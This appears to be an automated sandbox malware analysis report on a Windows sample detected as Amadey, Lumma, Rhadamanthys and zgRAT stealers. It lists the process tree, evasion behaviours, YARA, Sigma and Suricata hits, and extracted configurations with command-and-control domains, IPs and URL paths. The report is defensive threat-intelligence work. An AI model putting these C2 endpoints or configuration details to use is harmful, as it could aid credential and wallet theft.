Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1577806
MD5:	d7113b1a5be08cf46656bcc72d1da368
SHA1:	cb8c987c86f7eb7a884bb69e826b08e143d0e027
SHA256:	0f24d4438de4579512f19caf0bda9182a23630286b23d6cfbff7299fa10f025e
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected PureLog Stealer

Yara detected RHADAMANTHYS Stealer

Yara detected zgRAT

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks if the current machine is a virtual machine (disk enumeration)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Switches to a custom stack to bypass stack traces

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 5432 cmdline: "C:\Users\user\Desktop\file.exe" MD5: D7113B1A5BE08CF46656BCC72D1DA368)

skotes.exe (PID: 6504 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: D7113B1A5BE08CF46656BCC72D1DA368)

skotes.exe (PID: 5248 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: D7113B1A5BE08CF46656BCC72D1DA368)

skotes.exe (PID: 7764 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: D7113B1A5BE08CF46656BCC72D1DA368)

fba63623fe.exe (PID: 8000 cmdline: "C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

fba63623fe.exe (PID: 8028 cmdline: "C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

fba63623fe.exe (PID: 8036 cmdline: "C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

fba63623fe.exe (PID: 8044 cmdline: "C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

fba63623fe.exe (PID: 8052 cmdline: "C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

fba63623fe.exe (PID: 8060 cmdline: "C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

9faa981582.exe (PID: 8172 cmdline: "C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe" MD5: 7ECFEF7F63495C67771664D73A1EE2C6)

svchost.exe (PID: 6536 cmdline: "C:\Windows\System32\svchost.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

WerFault.exe (PID: 5532 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8172 -s 656 MD5: C31336C1EFC2CCB44B4326EA793040F2)

37179ed0b8.exe (PID: 2284 cmdline: "C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe" MD5: 8A9CB17C0224A01BD34B46495983C50A)

conhost.exe (PID: 3116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

37179ed0b8.exe (PID: 7216 cmdline: "C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe" MD5: 8A9CB17C0224A01BD34B46495983C50A)

37179ed0b8.exe (PID: 7224 cmdline: "C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe" MD5: 8A9CB17C0224A01BD34B46495983C50A)

37179ed0b8.exe (PID: 7232 cmdline: "C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe" MD5: 8A9CB17C0224A01BD34B46495983C50A)

37179ed0b8.exe (PID: 7240 cmdline: "C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe" MD5: 8A9CB17C0224A01BD34B46495983C50A)

9267e9145a.exe (PID: 360 cmdline: "C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

conhost.exe (PID: 6720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

9267e9145a.exe (PID: 6204 cmdline: "C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

9267e9145a.exe (PID: 408 cmdline: "C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

9267e9145a.exe (PID: 2684 cmdline: "C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

40e7dddffe.exe (PID: 1096 cmdline: "C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe" MD5: 60CB08AFF943753C526CF73FD6007489)

12379a76ea.exe (PID: 7560 cmdline: "C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe" MD5: 3DC730302DC71232EE3BB36DC669F3AE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: LummaC

{"C2 url": ["energyaffai.lat", "sustainskelet.lat", "aspecteirs.lat", "grannyejh.lat", "necklacebudi.lat", "crosshuaht.lat", "pancakedipyps.click", "rapeflowwj.lat", "discokeyus.lat"], "Build id": "FATE99--test"}

Threatname: Rhadamanthys

{"C2 url": "https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.2060964574.0000000004890000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000003.3217409529.0000000000BB8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.2896849334.0000000005260000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000000.00000003.2030253882.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2902463991.0000000000BE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.2101951390.0000000000B81000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.2103555649.0000000000B81000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000003.3217240295.0000000000BAC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.2906192024.0000000005490000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000006.00000003.2646347241.0000000004B50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.2060455777.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000003.2898992206.0000000005990000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000D.00000003.2899399364.0000000005BB0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000017.00000003.3263009868.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2909561070.00000000050E0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000E.00000003.2909776212.0000000005300000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000E.00000002.2917910047.0000000003200000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: 9faa981582.exe PID: 8172	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: svchost.exe PID: 6536	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: 37179ed0b8.exe PID: 7240	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 37179ed0b8.exe PID: 7240	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 37179ed0b8.exe PID: 7240	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 22 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
13.3.9faa981582.exe.5bb0000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
7.2.fba63623fe.exe.3d094e0.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.3.svchost.exe.5300000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0.2.file.exe.110000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.3.svchost.exe.50e0000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
2.2.skotes.exe.b80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.0.fba63623fe.exe.570000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.0.fba63623fe.exe.570000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
3.2.skotes.exe.b80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
13.3.9faa981582.exe.5990000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
6.2.skotes.exe.b80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.fba63623fe.exe.3cc3198.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.2.fba63623fe.exe.3cc3198.2.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
7.2.fba63623fe.exe.3cc3198.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
7.2.fba63623fe.exe.3cc3198.2.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0xf10c:$s1: file:/// 0x96a23:$s1: file:/// 0xf01c:$s2: {11111-22222-10009-11112} 0xf09c:$s3: {11111-22222-50001-00000} 0x968a7:$s3: {11111-22222-50001-00000} 0x948e7:$s4: get_Module 0xe890:$s5: Reverse 0x84ebe:$s5: Reverse 0x11c92f:$s5: Reverse 0xcd07:$s6: BlockCopy 0x84ba8:$s7: ReadByte 0x96a35:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
7.2.fba63623fe.exe.3d094e0.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.2.fba63623fe.exe.3d094e0.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 12 entries

Sigma Signatures

System Summary

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe, ParentProcessId: 8172, ParentProcessName: 9faa981582.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 6536, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe, ParentProcessId: 8172, ParentProcessName: 9faa981582.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 6536, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T19:08:18.932283+0100	2028371	3	Unknown Traffic	192.168.2.5	49721	172.67.131.246	443	TCP
2024-12-18T19:08:24.891361+0100	2028371	3	Unknown Traffic	192.168.2.5	49724	172.67.131.246	443	TCP
2024-12-18T19:08:33.337730+0100	2028371	3	Unknown Traffic	192.168.2.5	49727	172.67.131.246	443	TCP
2024-12-18T19:08:35.721729+0100	2028371	3	Unknown Traffic	192.168.2.5	49729	172.67.131.246	443	TCP
2024-12-18T19:08:37.385949+0100	2028371	3	Unknown Traffic	192.168.2.5	49731	172.67.179.109	443	TCP
2024-12-18T19:08:38.142787+0100	2028371	3	Unknown Traffic	192.168.2.5	49732	172.67.131.246	443	TCP
2024-12-18T19:08:39.484637+0100	2028371	3	Unknown Traffic	192.168.2.5	49733	172.67.179.109	443	TCP
2024-12-18T19:08:40.824472+0100	2028371	3	Unknown Traffic	192.168.2.5	49734	172.67.131.246	443	TCP
2024-12-18T19:08:43.511342+0100	2028371	3	Unknown Traffic	192.168.2.5	49736	172.67.179.109	443	TCP
2024-12-18T19:08:44.266835+0100	2028371	3	Unknown Traffic	192.168.2.5	49738	172.67.131.246	443	TCP
2024-12-18T19:08:44.267004+0100	2028371	3	Unknown Traffic	192.168.2.5	49737	172.67.209.202	443	TCP
2024-12-18T19:08:46.627731+0100	2028371	3	Unknown Traffic	192.168.2.5	49740	172.67.209.202	443	TCP
2024-12-18T19:08:47.180254+0100	2028371	3	Unknown Traffic	192.168.2.5	49741	172.67.179.109	443	TCP
2024-12-18T19:08:52.100437+0100	2028371	3	Unknown Traffic	192.168.2.5	49742	172.67.131.246	443	TCP
2024-12-18T19:08:52.409357+0100	2028371	3	Unknown Traffic	192.168.2.5	49743	172.67.179.109	443	TCP
2024-12-18T19:09:00.683470+0100	2028371	3	Unknown Traffic	192.168.2.5	49747	172.67.179.109	443	TCP
2024-12-18T19:09:05.775112+0100	2028371	3	Unknown Traffic	192.168.2.5	49749	172.67.179.109	443	TCP
2024-12-18T19:09:05.790288+0100	2028371	3	Unknown Traffic	192.168.2.5	49750	172.67.179.109	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T19:08:23.519112+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49721	172.67.131.246	443	TCP
2024-12-18T19:08:31.748501+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49724	172.67.131.246	443	TCP
2024-12-18T19:08:38.153813+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49731	172.67.179.109	443	TCP
2024-12-18T19:08:41.875228+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49733	172.67.179.109	443	TCP
2024-12-18T19:08:45.382140+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49737	172.67.209.202	443	TCP
2024-12-18T19:08:54.583014+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49742	172.67.131.246	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T19:08:23.519112+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49721	172.67.131.246	443	TCP
2024-12-18T19:08:38.153813+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49731	172.67.179.109	443	TCP
2024-12-18T19:08:45.382140+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49737	172.67.209.202	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T19:08:31.748501+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49724	172.67.131.246	443	TCP
2024-12-18T19:08:41.875228+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49733	172.67.179.109	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T19:08:37.385949+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.5	49731	172.67.179.109	443	TCP
2024-12-18T19:08:39.484637+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.5	49733	172.67.179.109	443	TCP
2024-12-18T19:08:43.511342+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.5	49736	172.67.179.109	443	TCP
2024-12-18T19:08:47.180254+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.5	49741	172.67.179.109	443	TCP
2024-12-18T19:08:52.409357+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.5	49743	172.67.179.109	443	TCP
2024-12-18T19:09:00.683470+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.5	49747	172.67.179.109	443	TCP
2024-12-18T19:09:05.775112+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.5	49749	172.67.179.109	443	TCP
2024-12-18T19:09:05.790288+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.5	49750	172.67.179.109	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T19:08:19.922111+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49722	185.215.113.43	80	TCP
2024-12-18T19:08:29.114901+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49725	185.215.113.43	80	TCP
2024-12-18T19:08:35.815465+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49728	185.215.113.43	80	TCP
2024-12-18T19:08:43.066921+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49735	185.215.113.43	80	TCP
2024-12-18T19:08:57.685815+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49745	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T19:08:35.815884+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.5	63513	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T19:08:35.522723+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.5	55944	1.1.1.1	53	UDP
2024-12-18T19:09:04.424962+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.5	62929	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T19:08:34.474550+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49727	172.67.131.246	443	TCP
2024-12-18T19:08:45.259944+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49736	172.67.179.109	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T19:08:06.085869+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49718	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T19:08:18.565322+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49719	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T19:08:10.545461+0100	2803305	3	Unknown Traffic	192.168.2.5	49720	31.41.244.11	80	TCP
2024-12-18T19:08:21.382989+0100	2803305	3	Unknown Traffic	192.168.2.5	49723	31.41.244.11	80	TCP
2024-12-18T19:08:30.565582+0100	2803305	3	Unknown Traffic	192.168.2.5	49726	31.41.244.11	80	TCP
2024-12-18T19:08:37.291937+0100	2803305	3	Unknown Traffic	192.168.2.5	49730	31.41.244.11	80	TCP
